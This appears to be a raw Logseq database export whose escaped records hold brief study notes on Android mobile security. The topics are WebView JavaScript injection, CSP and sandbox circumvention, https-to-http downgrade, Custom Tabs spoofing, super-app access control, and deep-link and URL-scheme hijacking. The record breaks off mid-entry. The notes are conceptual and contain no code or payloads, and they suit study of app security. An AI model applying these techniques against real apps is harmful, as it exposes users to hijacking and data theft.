WebViewClientlogseq____&quot;,536877535]],[logseq____&quot;^15logseq____&quot;,[817,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877511]],[logseq____&quot;^15logseq____&quot;,[817,logseq____&quot;^@logseq____&quot;,false,536877511]],[logseq____&quot;^15logseq____&quot;,[817,logseq____&quot;^Flogseq____&quot;,816,536877511]],[logseq____&quot;^15logseq____&quot;,[817,logseq____&quot;^Xlogseq____&quot;,796,536877511]],[logseq____&quot;^15logseq____&quot;,[817,logseq____&quot;^Vlogseq____&quot;,815,536877511]],[logseq____&quot;^15logseq____&quot;,[817,logseq____&quot;^Ulogseq____&quot;,796,536877512]],[logseq____&quot;^15logseq____&quot;,[817,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877535]],[logseq____&quot;^15logseq____&quot;,[817,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb467a-2e0d-4cdc-baac-17c6140802aclogseq____&quot;,536877511]],[logseq____&quot;^15logseq____&quot;,[818,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Abuse JavaScript Injectionlogseq____&quot;,536877548]],[logseq____&quot;^15logseq____&quot;,[818,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877538]],[logseq____&quot;^15logseq____&quot;,[818,logseq____&quot;^@logseq____&quot;,false,536877538]],[logseq____&quot;^15logseq____&quot;,[818,logseq____&quot;^Flogseq____&quot;,808,536877538]],[logseq____&quot;^15logseq____&quot;,[818,logseq____&quot;^Xlogseq____&quot;,796,536877538]],[logseq____&quot;^15logseq____&quot;,[818,logseq____&quot;^Vlogseq____&quot;,807,536877538]],[logseq____&quot;^15logseq____&quot;,[818,logseq____&quot;^Ulogseq____&quot;,796,536877539]],[logseq____&quot;^15logseq____&quot;,[818,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877548]],[logseq____&quot;^15logseq____&quot;,[818,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb47a9-2c4b-4905-8bd2-dbd539da6c1dlogseq____&quot;,536877538]],[logseq____&quot;^15logseq____&quot;,[819,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Event Sniffing/Hijackinglogseq____&quot;,536877576]],[logseq____&quot;^15logseq____&quot;,[819,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877551]],[logseq____&quot;^15logseq____&quot;,[819,logseq____&quot;^@logseq____&quot;,false,536877551]],[logseq____&quot;^15logseq____&quot;,[819,logseq____&quot;^Flogseq____&quot;,818,536877551]],[logseq____&quot;^15logseq____&quot;,[819,logseq____&quot;^Xlogseq____&quot;,796,536877551]],[logseq____&quot;^15logseq____&quot;,[819,logseq____&quot;^Vlogseq____&quot;,807,536877551]],[logseq____&quot;^15logseq____&quot;,[819,logseq____&quot;^Ulogseq____&quot;,796,536877552]],[logseq____&quot;^15logseq____&quot;,[819,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877576]],[logseq____&quot;^15logseq____&quot;,[819,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4808-2fa5-41af-80ba-e9d8ebd00694logseq____&quot;,536877551]],[logseq____&quot;^15logseq____&quot;,[820,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Circumvent CSP/iFrame Sandboxlogseq____&quot;,536877598]],[logseq____&quot;^15logseq____&quot;,[820,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877579]],[logseq____&quot;^15logseq____&quot;,[820,logseq____&quot;^@logseq____&quot;,false,536877579]],[logseq____&quot;^15logseq____&quot;,[820,logseq____&quot;^Flogseq____&quot;,819,536877579]],[logseq____&quot;^15logseq____&quot;,[820,logseq____&quot;^Xlogseq____&quot;,796,536877579]],[logseq____&quot;^15logseq____&quot;,[820,logseq____&quot;^Vlogseq____&quot;,807,536877579]],[logseq____&quot;^15logseq____&quot;,[820,logseq____&quot;^Ulogseq____&quot;,796,536877580]],[logseq____&quot;^15logseq____&quot;,[820,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877598]],[logseq____&quot;^15logseq____&quot;,[820,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4847-e267-491f-9929-ddd0fcd15d46logseq____&quot;,536877579]],[logseq____&quot;^15logseq____&quot;,[821,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;abuse `shouldOverrideUrlLoading` to downgrade security, e.g., `https://` to `http://`logseq____&quot;,536877623]],[logseq____&quot;^15logseq____&quot;,[821,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877601]],[logseq____&quot;^15logseq____&quot;,[821,logseq____&quot;^@logseq____&quot;,false,536877601]],[logseq____&quot;^15logseq____&quot;,[821,logseq____&quot;^Flogseq____&quot;,820,536877601]],[logseq____&quot;^15logseq____&quot;,[821,logseq____&quot;^Xlogseq____&quot;,796,536877601]],[logseq____&quot;^15logseq____&quot;,[821,logseq____&quot;^Vlogseq____&quot;,807,536877601]],[logseq____&quot;^15logseq____&quot;,[821,logseq____&quot;^Ulogseq____&quot;,796,536877602]],[logseq____&quot;^15logseq____&quot;,[821,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877623]],[logseq____&quot;^15logseq____&quot;,[821,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb48be-7f79-4b7b-a73b-af37160532c9logseq____&quot;,536877601]],[logseq____&quot;^15logseq____&quot;,[822,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536877624]],[logseq____&quot;^15logseq____&quot;,[822,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877624]],[logseq____&quot;^15logseq____&quot;,[822,logseq____&quot;^@logseq____&quot;,false,536877624]],[logseq____&quot;^15logseq____&quot;,[822,logseq____&quot;^Flogseq____&quot;,821,536877624]],[logseq____&quot;^15logseq____&quot;,[822,logseq____&quot;^Xlogseq____&quot;,796,536877624]],[logseq____&quot;^15logseq____&quot;,[822,logseq____&quot;^Vlogseq____&quot;,807,536877624]],[logseq____&quot;^15logseq____&quot;,[822,logseq____&quot;^Ulogseq____&quot;,796,536877625]],[logseq____&quot;^15logseq____&quot;,[822,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877624]],[logseq____&quot;^15logseq____&quot;,[822,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb48d7-c6cb-4876-8884-47e79bb5d281logseq____&quot;,536877624]],[logseq____&quot;^15logseq____&quot;,[823,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Custom Tabslogseq____&quot;,536877639]],[logseq____&quot;^15logseq____&quot;,[823,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877630]],[logseq____&quot;^15logseq____&quot;,[823,logseq____&quot;^@logseq____&quot;,false,536877630]],[logseq____&quot;^15logseq____&quot;,[823,logseq____&quot;^Flogseq____&quot;,804,536877636]],[logseq____&quot;^15logseq____&quot;,[823,logseq____&quot;^Xlogseq____&quot;,796,536877630]],[logseq____&quot;^15logseq____&quot;,[823,logseq____&quot;^Vlogseq____&quot;,796,536877636]],[logseq____&quot;^15logseq____&quot;,[823,logseq____&quot;^Ulogseq____&quot;,796,536877631]],[logseq____&quot;^15logseq____&quot;,[823,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536877639]],[logseq____&quot;^15logseq____&quot;,[823,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536877639]],[logseq____&quot;^15logseq____&quot;,[823,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb494a-32bd-414e-87cb-59b79a3f20bblogseq____&quot;,536877630]],[logseq____&quot;^15logseq____&quot;,[824,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Opened via `CustomTabsIntent` to run a tab (in preferred browser) in a separate activitylogseq____&quot;,536877667]],[logseq____&quot;^15logseq____&quot;,[824,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877639]],[logseq____&quot;^15logseq____&quot;,[824,logseq____&quot;^@logseq____&quot;,false,536877639]],[logseq____&quot;^15logseq____&quot;,[824,logseq____&quot;^Flogseq____&quot;,823,536877639]],[logseq____&quot;^15logseq____&quot;,[824,logseq____&quot;^Xlogseq____&quot;,796,536877639]],[logseq____&quot;^15logseq____&quot;,[824,logseq____&quot;^Vlogseq____&quot;,823,536877643]],[logseq____&quot;^15logseq____&quot;,[824,logseq____&quot;^Ulogseq____&quot;,796,536877640]],[logseq____&quot;^15logseq____&quot;,[824,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877667]],[logseq____&quot;^15logseq____&quot;,[824,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb494e-74c7-4e1f-a4be-80e058db7b2clogseq____&quot;,536877639]],[logseq____&quot;^15logseq____&quot;,[825,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Shares state with Browser (UI can be customized)logseq____&quot;,536877680]],[logseq____&quot;^15logseq____&quot;,[825,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877670]],[logseq____&quot;^15logseq____&quot;,[825,logseq____&quot;^@logseq____&quot;,false,536877670]],[logseq____&quot;^15logseq____&quot;,[825,logseq____&quot;^Flogseq____&quot;,824,536877670]],[logseq____&quot;^15logseq____&quot;,[825,logseq____&quot;^Xlogseq____&quot;,796,536877670]],[logseq____&quot;^15logseq____&quot;,[825,logseq____&quot;^Vlogseq____&quot;,823,536877670]],[logseq____&quot;^15logseq____&quot;,[825,logseq____&quot;^Ulogseq____&quot;,796,536877671]],[logseq____&quot;^15logseq____&quot;,[825,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877680]],[logseq____&quot;^15logseq____&quot;,[825,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb497d-9097-4abc-8613-56257341d28dlogseq____&quot;,536877670]],[logseq____&quot;^15logseq____&quot;,[826,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;More limited interaction with web contentlogseq____&quot;,536877693]],[logseq____&quot;^15logseq____&quot;,[826,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877683]],[logseq____&quot;^15logseq____&quot;,[826,logseq____&quot;^@logseq____&quot;,false,536877683]],[logseq____&quot;^15logseq____&quot;,[826,logseq____&quot;^Flogseq____&quot;,825,536877683]],[logseq____&quot;^15logseq____&quot;,[826,logseq____&quot;^Xlogseq____&quot;,796,536877683]],[logseq____&quot;^15logseq____&quot;,[826,logseq____&quot;^Vlogseq____&quot;,823,536877683]],[logseq____&quot;^15logseq____&quot;,[826,logseq____&quot;^Ulogseq____&quot;,796,536877684]],[logseq____&quot;^15logseq____&quot;,[826,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877693]],[logseq____&quot;^15logseq____&quot;,[826,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4993-0c45-4755-9ea3-d20350ac725flogseq____&quot;,536877683]],[logseq____&quot;^15logseq____&quot;,[827,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allows for spoofing bottom bar, e.g., change passwordlogseq____&quot;,536877703]],[logseq____&quot;^15logseq____&quot;,[827,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877696]],[logseq____&quot;^15logseq____&quot;,[827,logseq____&quot;^@logseq____&quot;,false,536877696]],[logseq____&quot;^15logseq____&quot;,[827,logseq____&quot;^Flogseq____&quot;,826,536877696]],[logseq____&quot;^15logseq____&quot;,[827,logseq____&quot;^Xlogseq____&quot;,796,536877696]],[logseq____&quot;^15logseq____&quot;,[827,logseq____&quot;^Vlogseq____&quot;,823,536877696]],[logseq____&quot;^15logseq____&quot;,[827,logseq____&quot;^Ulogseq____&quot;,796,536877697]],[logseq____&quot;^15logseq____&quot;,[827,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877703]],[logseq____&quot;^15logseq____&quot;,[827,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4b1b-4852-491a-8ce9-1b3a7e7ca260logseq____&quot;,536877696]],[logseq____&quot;^15logseq____&quot;,[828,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Super Appslogseq____&quot;,536877713]],[logseq____&quot;^15logseq____&quot;,[828,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877706]],[logseq____&quot;^15logseq____&quot;,[828,logseq____&quot;^@logseq____&quot;,false,536877706]],[logseq____&quot;^15logseq____&quot;,[828,logseq____&quot;^Flogseq____&quot;,823,536877708]],[logseq____&quot;^15logseq____&quot;,[828,logseq____&quot;^Xlogseq____&quot;,796,536877706]],[logseq____&quot;^15logseq____&quot;,[828,logseq____&quot;^Vlogseq____&quot;,796,536877708]],[logseq____&quot;^15logseq____&quot;,[828,logseq____&quot;^Ulogseq____&quot;,796,536877707]],[logseq____&quot;^15logseq____&quot;,[828,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536877713]],[logseq____&quot;^15logseq____&quot;,[828,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536877713]],[logseq____&quot;^15logseq____&quot;,[828,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4b45-f70d-4c29-9833-2d00a2dd538alogseq____&quot;,536877706]],[logseq____&quot;^15logseq____&quot;,[829,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Feature-rich application often delegate functions to other partieslogseq____&quot;,536877738]],[logseq____&quot;^15logseq____&quot;,[829,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877716]],[logseq____&quot;^15logseq____&quot;,[829,logseq____&quot;^@logseq____&quot;,false,536877716]],[logseq____&quot;^15logseq____&quot;,[829,logseq____&quot;^Flogseq____&quot;,828,536877716]],[logseq____&quot;^15logseq____&quot;,[829,logseq____&quot;^Xlogseq____&quot;,796,536877716]],[logseq____&quot;^15logseq____&quot;,[829,logseq____&quot;^Vlogseq____&quot;,828,536877718]],[logseq____&quot;^15logseq____&quot;,[829,logseq____&quot;^Ulogseq____&quot;,796,536877717]],[logseq____&quot;^15logseq____&quot;,[829,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877738]],[logseq____&quot;^15logseq____&quot;,[829,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4bc0-1018-4c97-a357-4203462386f3logseq____&quot;,536877716]],[logseq____&quot;^15logseq____&quot;,[830,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Sub-apps bring rich content and serviecs in a native app-like experiencelogseq____&quot;,536877760]],[logseq____&quot;^15logseq____&quot;,[830,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877741]],[logseq____&quot;^15logseq____&quot;,[830,logseq____&quot;^@logseq____&quot;,false,536877741]],[logseq____&quot;^15logseq____&quot;,[830,logseq____&quot;^Flogseq____&quot;,829,536877741]],[logseq____&quot;^15logseq____&quot;,[830,logseq____&quot;^Xlogseq____&quot;,796,536877741]],[logseq____&quot;^15logseq____&quot;,[830,logseq____&quot;^Vlogseq____&quot;,828,536877741]],[logseq____&quot;^15logseq____&quot;,[830,logseq____&quot;^Ulogseq____&quot;,796,536877742]],[logseq____&quot;^15logseq____&quot;,[830,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877760]],[logseq____&quot;^15logseq____&quot;,[830,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4bde-1f31-4659-b3f0-11fd07fb602clogseq____&quot;,536877741]],[logseq____&quot;^15logseq____&quot;,[831,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Super-App provides an SDK with access to natice APIs and cloud backendslogseq____&quot;,536877789]],[logseq____&quot;^15logseq____&quot;,[831,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877763]],[logseq____&quot;^15logseq____&quot;,[831,logseq____&quot;^@logseq____&quot;,false,536877763]],[logseq____&quot;^15logseq____&quot;,[831,logseq____&quot;^Flogseq____&quot;,830,536877763]],[logseq____&quot;^15logseq____&quot;,[831,logseq____&quot;^Xlogseq____&quot;,796,536877763]],[logseq____&quot;^15logseq____&quot;,[831,logseq____&quot;^Vlogseq____&quot;,828,536877763]],[logseq____&quot;^15logseq____&quot;,[831,logseq____&quot;^Ulogseq____&quot;,796,536877764]],[logseq____&quot;^15logseq____&quot;,[831,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877789]],[logseq____&quot;^15logseq____&quot;,[831,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4c02-17a6-4bf3-861f-9a3904d3e184logseq____&quot;,536877763]],[logseq____&quot;^15logseq____&quot;,[832,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Must enforce access control on sub-app (often confused access control checks)logseq____&quot;,536877805]],[logseq____&quot;^15logseq____&quot;,[832,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877792]],[logseq____&quot;^15logseq____&quot;,[832,logseq____&quot;^@logseq____&quot;,false,536877792]],[logseq____&quot;^15logseq____&quot;,[832,logseq____&quot;^Flogseq____&quot;,831,536877792]],[logseq____&quot;^15logseq____&quot;,[832,logseq____&quot;^Xlogseq____&quot;,796,536877792]],[logseq____&quot;^15logseq____&quot;,[832,logseq____&quot;^Vlogseq____&quot;,828,536877792]],[logseq____&quot;^15logseq____&quot;,[832,logseq____&quot;^Ulogseq____&quot;,796,536877793]],[logseq____&quot;^15logseq____&quot;,[832,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877805]],[logseq____&quot;^15logseq____&quot;,[832,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4c2d-8805-40d4-be4b-c127603a1c20logseq____&quot;,536877792]],[logseq____&quot;^15logseq____&quot;,[833,logseq____&quot;^Klogseq____&quot;,1740328035749,536877808]],[logseq____&quot;^15logseq____&quot;,[833,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877810]],[logseq____&quot;^15logseq____&quot;,[833,logseq____&quot;^@logseq____&quot;,false,536877808]],[logseq____&quot;^15logseq____&quot;,[833,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;deeplinks/applinkslogseq____&quot;,536877808]],[logseq____&quot;^15logseq____&quot;,[833,logseq____&quot;^Alogseq____&quot;,834,536877808]],[logseq____&quot;^15logseq____&quot;,[833,logseq____&quot;^11logseq____&quot;,logseq____&quot;DeepLinks/AppLinkslogseq____&quot;,536877808]],[logseq____&quot;^15logseq____&quot;,[833,logseq____&quot;^Blogseq____&quot;,1740328917538,536878156]],[logseq____&quot;^15logseq____&quot;,[833,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-2c88-4dec-b4f7-aed90fca4392logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[834,logseq____&quot;^Klogseq____&quot;,1740328035749,536877808]],[logseq____&quot;^15logseq____&quot;,[834,logseq____&quot;^@logseq____&quot;,false,536877808]],[logseq____&quot;^15logseq____&quot;,[834,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;deeplinkslogseq____&quot;,536877808]],[logseq____&quot;^15logseq____&quot;,[834,logseq____&quot;^11logseq____&quot;,logseq____&quot;DeepLinkslogseq____&quot;,536877808]],[logseq____&quot;^15logseq____&quot;,[834,logseq____&quot;^Blogseq____&quot;,1740328035749,536877808]],[logseq____&quot;^15logseq____&quot;,[834,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-b1cd-45ef-86b3-cb498df588d5logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[835,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Informationlogseq____&quot;,536877816]],[logseq____&quot;^15logseq____&quot;,[835,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877811]],[logseq____&quot;^15logseq____&quot;,[835,logseq____&quot;^@logseq____&quot;,false,536877811]],[logseq____&quot;^15logseq____&quot;,[835,logseq____&quot;^Flogseq____&quot;,833,536877811]],[logseq____&quot;^15logseq____&quot;,[835,logseq____&quot;^Xlogseq____&quot;,833,536877811]],[logseq____&quot;^15logseq____&quot;,[835,logseq____&quot;^Vlogseq____&quot;,833,536877811]],[logseq____&quot;^15logseq____&quot;,[835,logseq____&quot;^Ulogseq____&quot;,833,536877812]],[logseq____&quot;^15logseq____&quot;,[835,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536877816]],[logseq____&quot;^15logseq____&quot;,[835,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536877816]],[logseq____&quot;^15logseq____&quot;,[835,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4c64-782f-4219-9807-f9bf0160afd3logseq____&quot;,536877811]],[logseq____&quot;^15logseq____&quot;,[836,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Intent filters defining when clicking a link should open an applogseq____&quot;,536877856]],[logseq____&quot;^15logseq____&quot;,[836,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877816]],[logseq____&quot;^15logseq____&quot;,[836,logseq____&quot;^@logseq____&quot;,false,536877816]],[logseq____&quot;^15logseq____&quot;,[836,logseq____&quot;^Flogseq____&quot;,835,536877816]],[logseq____&quot;^15logseq____&quot;,[836,logseq____&quot;^Xlogseq____&quot;,833,536877816]],[logseq____&quot;^15logseq____&quot;,[836,logseq____&quot;^Vlogseq____&quot;,835,536877821]],[logseq____&quot;^15logseq____&quot;,[836,logseq____&quot;^Ulogseq____&quot;,833,536877817]],[logseq____&quot;^15logseq____&quot;,[836,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877856]],[logseq____&quot;^15logseq____&quot;,[836,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4c7c-eb11-4ead-b438-aeda6ff7a9f1logseq____&quot;,536877816]],[logseq____&quot;^15logseq____&quot;,[840,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Web links: DeepLinks with `http` schemalogseq____&quot;,536877872]],[logseq____&quot;^15logseq____&quot;,[840,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877856]],[logseq____&quot;^15logseq____&quot;,[840,logseq____&quot;^@logseq____&quot;,false,536877856]],[logseq____&quot;^15logseq____&quot;,[840,logseq____&quot;^Flogseq____&quot;,836,536877856]],[logseq____&quot;^15logseq____&quot;,[840,logseq____&quot;^Xlogseq____&quot;,833,536877856]],[logseq____&quot;^15logseq____&quot;,[840,logseq____&quot;^Vlogseq____&quot;,835,536877856]],[logseq____&quot;^15logseq____&quot;,[840,logseq____&quot;^Ulogseq____&quot;,833,536877857]],[logseq____&quot;^15logseq____&quot;,[840,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877872]],[logseq____&quot;^15logseq____&quot;,[840,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4cae-d48d-4f7c-9f70-b1066b810445logseq____&quot;,536877856]],[logseq____&quot;^15logseq____&quot;,[841,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App links: Web links with `http`(`s`) and `autoVerify=True` (designate app as default for link after verification)logseq____&quot;,536877904]],[logseq____&quot;^15logseq____&quot;,[841,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877873]],[logseq____&quot;^15logseq____&quot;,[841,logseq____&quot;^@logseq____&quot;,false,536877873]],[logseq____&quot;^15logseq____&quot;,[841,logseq____&quot;^Flogseq____&quot;,840,536877873]],[logseq____&quot;^15logseq____&quot;,[841,logseq____&quot;^Xlogseq____&quot;,833,536877873]],[logseq____&quot;^15logseq____&quot;,[841,logseq____&quot;^Vlogseq____&quot;,835,536877873]],[logseq____&quot;^15logseq____&quot;,[841,logseq____&quot;^Ulogseq____&quot;,833,536877874]],[logseq____&quot;^15logseq____&quot;,[841,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877904]],[logseq____&quot;^15logseq____&quot;,[841,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4cb8-83ea-41a7-8fa5-9f4c1eb5dfbblogseq____&quot;,536877873]],[logseq____&quot;^15logseq____&quot;,[842,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Intent URL now specifies the target app by package namelogseq____&quot;,536878019]],[logseq____&quot;^15logseq____&quot;,[842,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877897]],[logseq____&quot;^15logseq____&quot;,[842,logseq____&quot;^@logseq____&quot;,false,536877897]],[logseq____&quot;^15logseq____&quot;,[842,logseq____&quot;^Flogseq____&quot;,846,536877988]],[logseq____&quot;^15logseq____&quot;,[842,logseq____&quot;^Xlogseq____&quot;,833,536877897]],[logseq____&quot;^15logseq____&quot;,[842,logseq____&quot;^Vlogseq____&quot;,846,536877988]],[logseq____&quot;^15logseq____&quot;,[842,logseq____&quot;^Ulogseq____&quot;,833,536878001]],[logseq____&quot;^15logseq____&quot;,[842,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878019]],[logseq____&quot;^15logseq____&quot;,[842,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4cd5-ff98-45e7-9a72-d950f2e725b8logseq____&quot;,536877897]],[logseq____&quot;^15logseq____&quot;,[843,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Mobile DeepLink v1.0logseq____&quot;,536877928]],[logseq____&quot;^15logseq____&quot;,[843,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877904]],[logseq____&quot;^15logseq____&quot;,[843,logseq____&quot;^@logseq____&quot;,false,536877904]],[logseq____&quot;^15logseq____&quot;,[843,logseq____&quot;^Flogseq____&quot;,835,536877908]],[logseq____&quot;^15logseq____&quot;,[843,logseq____&quot;^Xlogseq____&quot;,833,536877904]],[logseq____&quot;^15logseq____&quot;,[843,logseq____&quot;^Vlogseq____&quot;,833,536877908]],[logseq____&quot;^15logseq____&quot;,[843,logseq____&quot;^Ulogseq____&quot;,833,536877905]],[logseq____&quot;^15logseq____&quot;,[843,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536877928]],[logseq____&quot;^15logseq____&quot;,[843,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536877928]],[logseq____&quot;^15logseq____&quot;,[843,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4cf6-e604-4e0d-87c4-ae980b861ac8logseq____&quot;,536877904]],[logseq____&quot;^15logseq____&quot;,[844,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Hijacking URL schemes (no trusted GUI indicator for foreground app, senstive data may be included in URL)logseq____&quot;,536877965]],[logseq____&quot;^15logseq____&quot;,[844,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877928]],[logseq____&quot;^15logseq____&quot;,[844,logseq____&quot;^@logseq____&quot;,false,536877928]],[logseq____&quot;^15logseq____&quot;,[844,logseq____&quot;^Flogseq____&quot;,843,536877928]],[logseq____&quot;^15logseq____&quot;,[844,logseq____&quot;^Xlogseq____&quot;,833,536877928]],[logseq____&quot;^15logseq____&quot;,[844,logseq____&quot;^Vlogseq____&quot;,843,536877928]],[logseq____&quot;^15logseq____&quot;,[844,logseq____&quot;^Ulogseq____&quot;,833,536877929]],[logseq____&quot;^15logseq____&quot;,[844,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877965]],[logseq____&quot;^15logseq____&quot;,[844,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4e43-b58a-40a6-bcdd-9032e1d1091dlogseq____&quot;,536877928]],[logseq____&quot;^15logseq____&quot;,[845,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Installing malicious app before benign app causes problems when user selected \\logseq____&quot;always open with logseq____&lt;malicious applogseq____&gt;\\logseq____&quot;logseq____&quot;,536877981]],[logseq____&quot;^15logseq____&quot;,[845,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877966]],[logseq____&quot;^15logseq____&quot;,[845,logseq____&quot;^@logseq____&quot;,false,536877966]],[logseq____&quot;^15logseq____&quot;,[845,logseq____&quot;^Flogseq____&quot;,844,536877966]],[logseq____&quot;^15logseq____&quot;,[845,logseq____&quot;^Xlogseq____&quot;,833,536877966]],[logseq____&quot;^15logseq____&quot;,[845,logseq____&quot;^Vlogseq____&quot;,843,536877966]],[logseq____&quot;^15logseq____&quot;,[845,logseq____&quot;^Ulogseq____&quot;,833,536877967]],[logseq____&quot;^15logseq____&quot;,[845,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877981]],[logseq____&quot;^15logseq____&quot;,[845,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4e6f-daf5-4007-af3e-418add92125alogseq____&quot;,536877966]],[logseq____&quot;^15logseq____&quot;,[846,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Mobile DeepLink 